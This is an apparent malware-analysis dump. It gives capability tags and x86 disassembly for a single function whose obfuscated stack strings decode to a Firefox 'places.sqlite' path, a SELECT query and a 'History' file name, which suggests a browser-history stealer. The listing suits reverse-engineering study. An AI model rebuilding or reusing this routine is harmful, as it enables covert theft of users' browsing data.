Function at 0x414c9c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x118
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x70], ecx
call fcn.00419db5
mov esi, eax
test esi, esi
je 0x415084
xor ebx, ebx
mov dword [esp + 0x34], 0xb19e81c8
mov dword [esp + 0x38], 0x8e8c819d
mov ecx, ebx
mov dword [esp + 0x3c], 0x9ec39e88
mov dword [esp + 0x40], 0x9984819c
mov byte [esp + 0x44], 0x88
mov al, byte [esp + ecx + 0x34]
xor al, 0xed
movzx eax, al
mov word [esp + ecx*2 + 0xdc], ax
inc ecx
cmp ecx, 0x11
jl 0x414ce4
xor eax, eax
mov word [esp + 0xfe], ax
lea eax, [esp + 0xdc]
push edi
push eax
call fcn.0041b96a
mov edi, eax
mov dword [esp + 0x70], edi
pop ecx
pop ecx
test edi, edi
je 0x415084
mov ecx, edi
call fcn.0041b9c4
mov ebp, eax
test ebp, ebp
je 0x41507d
xor edx, edx
mov ecx, ebp
call fcn.0041bc30
mov dword [esp + 0x74], eax
test eax, eax
je 0x415066
push ebx
push 1
lea ecx, [esp + 0x74]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x415054
mov dword [esp + 0x14], 0x858f88a7
mov ecx, ebx
mov dword [esp + 0x18], 0x828486c1
mov dword [esp + 0x1c], 0x89c18e8a
mov dword [esp + 0x20], 0x8e959288
mov dword [esp + 0x24], 0x85c19893
mov dword [esp + 0x28], 0x8dc4c183
mov word [esp + 0x2c], 0xeb92
mov al, byte [esp + ecx + 0x14]
xor al, 0xe1
mov byte [esp + ecx + 0x9c], al
inc ecx
cmp ecx, 0x1a
jl 0x414d99
mov byte [esp + 0xb6], bl
mov ecx, ebx
mov dword [esp + 0x34], 0x9198919f
mov dword [esp + 0x38], 0xc06ca08f
mov dword [esp + 0x3c], 0xb1b8c0b5
mov dword [esp + 0x40], 0xbec16c78
mov dword [esp + 0x44], 0x9e926cb8
mov dword [esp + 0x48], 0xb96c999b
mov dword [esp + 0x4c], 0xbcabc6bb
mov dword [esp + 0x50], 0xb1afadb8
mov byte [esp + 0x54], 0xbf
mov al, byte [esp + ecx + 0x34]
sub al, 0x4c
mov byte [esp + ecx + 0xb8], al
inc ecx
cmp ecx, 0x21
jl 0x414dfa
lea eax, [esp + 0x9c]
mov byte [esp + 0xd9], bl
push edi
push eax
call fcn.00412606
push ebx
lea eax, [esp + 0x3c]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xcc]
push eax
push dword [esp + 0x84]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x41504c
push dword [esp + 0x30]
lea edi, [esp + 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x414fb0
mov dword [esp + 0x58], 0xc5cdc2ad
mov word [esp + 0x5c], 0x93be
mov byte [esp + 0x5e], 0x79
mov dword [esp + 0x60], 0xb99c5154
mov word [esp + 0x64], 0x81b3
mov byte [esp + 0x66], 0x67
mov ecx, ebx
mov al, byte [esp + ecx + 0x58]
sub al, 0x59
mov byte [esp + ecx + 0x78], al
inc ecx
cmp ecx, 7
jl 0x414e89
mov byte [esp + 0x7f], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x60]
sub al, 0x47
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 7
jl 0x414e9f
mov byte [esp + 0x87], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x7b7b4c4b
mov dword [esp + 0x18], 0x7b7b7b7b
mov dword [esp + 0x1c], 0x7b7b7b7b
mov dword [esp + 0x20], 0x7b7b7b7b
mov word [esp + 0x24], 0x4b7b
mov byte [esp + 0x26], 0x4c
mov al, byte [esp + ecx + 0x14]
xor al, 0x46
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 0x13
jl 0x414ee7
lea eax, [esp + 0x78]
mov byte [esp + 0x9b], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x7c]
lea ecx, [esp + 0x38]
call fcn.0041baad
pop ecx
push ebx
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x38]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x80]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x84]
lea ecx, [esp + 0x38]
call fcn.0041baad
pop ecx
push 1
push dword [esp + 0x34]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x38]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x38]
call fcn.0041bc08
pop ecx
lea eax, [esp + 0x88]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x38]
call fcn.0041baad
pop ecx
push dword [esp + 0x30]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x414e87
cmp dword [esp + 0x34], ebx
je 0x415048
mov dword [esp + 0x14], 0x10170d2c
mov dword [esp + 0x18], 0x4b1d160b
mov dword [esp + 0x1c], 0x3b170841
mov dword [esp + 0x20], 0x4a170841
mov word [esp + 0x24], 0x1c10
mov byte [esp + 0x26], 0x10
mov al, byte [esp + ebx + 0x14]
xor al, 0x64
movzx eax, al
mov word [esp + ebx*2 + 0x100], ax
inc ebx
cmp ebx, 0x13
jl 0x414fe6
push dword [esp + 0x12c]
xor eax, eax
push dword [esp + 0x74]
mov word [esp + 0x12e], ax
lea eax, [esp + 0x108]
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x41503e
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x34]
push edi
call fcn.00418de4
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x34]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x68]
push dword [esp + 0x30]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0x6c]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0x74]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412cbc
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118
ret